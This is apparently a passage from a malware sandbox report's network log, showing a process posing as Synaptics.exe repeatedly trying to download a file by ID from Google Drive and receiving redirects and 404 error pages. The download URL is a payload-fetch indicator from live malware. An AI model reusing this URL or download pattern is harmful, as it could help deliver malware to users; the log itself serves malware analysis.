2025-01-02 19:29:44 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC58GSHqt-Htrb-a5D6tAo-fhb8HmgGAS5EveCdfiDCsgm3oShiyBaRLe8zfKgixWfxK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:44 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vd6-Qw0tB3IIU80raDPXmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:44 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:44 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 50 70 46 46 67 4b 50 76 77 6d 5a 6f 6b 54 4e 59 76 32 55 35 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="9PpFFgKPvwmZokTNYv2U5g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:44 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49868	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:43 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-QSLfjXgWWzUKVzOC3KJ2nw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49890	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:45 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-qZCPrQU7TdHZ6b-Nm-vJPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49891	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:45 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ge6vNa-X5qq1s72LBsnZTw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49900	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:46 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:47 UTC	1242	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4ygYu82zC6obV2S2DYWnux_uAmtqMldNyUUubAJgmQ5J715FfIc2a2f3FbVjv2EKg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:46 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Be2qfYJvuWOeXiKZwBzKzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:47 UTC	148	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not
2025-01-02 19:29:47 UTC	1390	IN	Data Raw: 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 75 34 77 30 6d 4a 30 53 56 4a 4f 4f 72 73 49 79 33 4d 57 78 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a Data Ascii: Found)!!1</title><style nonce="pu4w0mJ0SVJOOrsIy3MWxw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:
2025-01-02 19:29:47 UTC	114	IN	Data Raw: 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49903	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:46 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:47 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7pq1dpBb_fa2D5EzVrDu9ZveZfW3d9tPeBedSfsnqUB99CAj65tplMkp56UW6l0dSp Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:46 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-T99BGiUP7RhfuJ2hfh_iHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:47 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:47 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 62 7a 65 7a 35 66 7a 55 36 65 74 56 30 58 51 6e 70 4e 76 63 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Hbzez5fzU6etV0XQnpNvcg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49902	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CFZbEpC5CKH1YjIcQH1Myg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49901	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-lj8rnv9oGDdXgMZBC923Wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49910	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:47 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-mlJv8oSRDJdVa0DmFjjiEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49911	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:47 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:48 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7mxnI5ydwAYFyere2_4MlGs8Wqb9AOQZs4BJasRe8jFiqmKw38uEoUi6ilvhBZev6O Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:47 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bKALfDcY-nvlGkO6-JPvlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
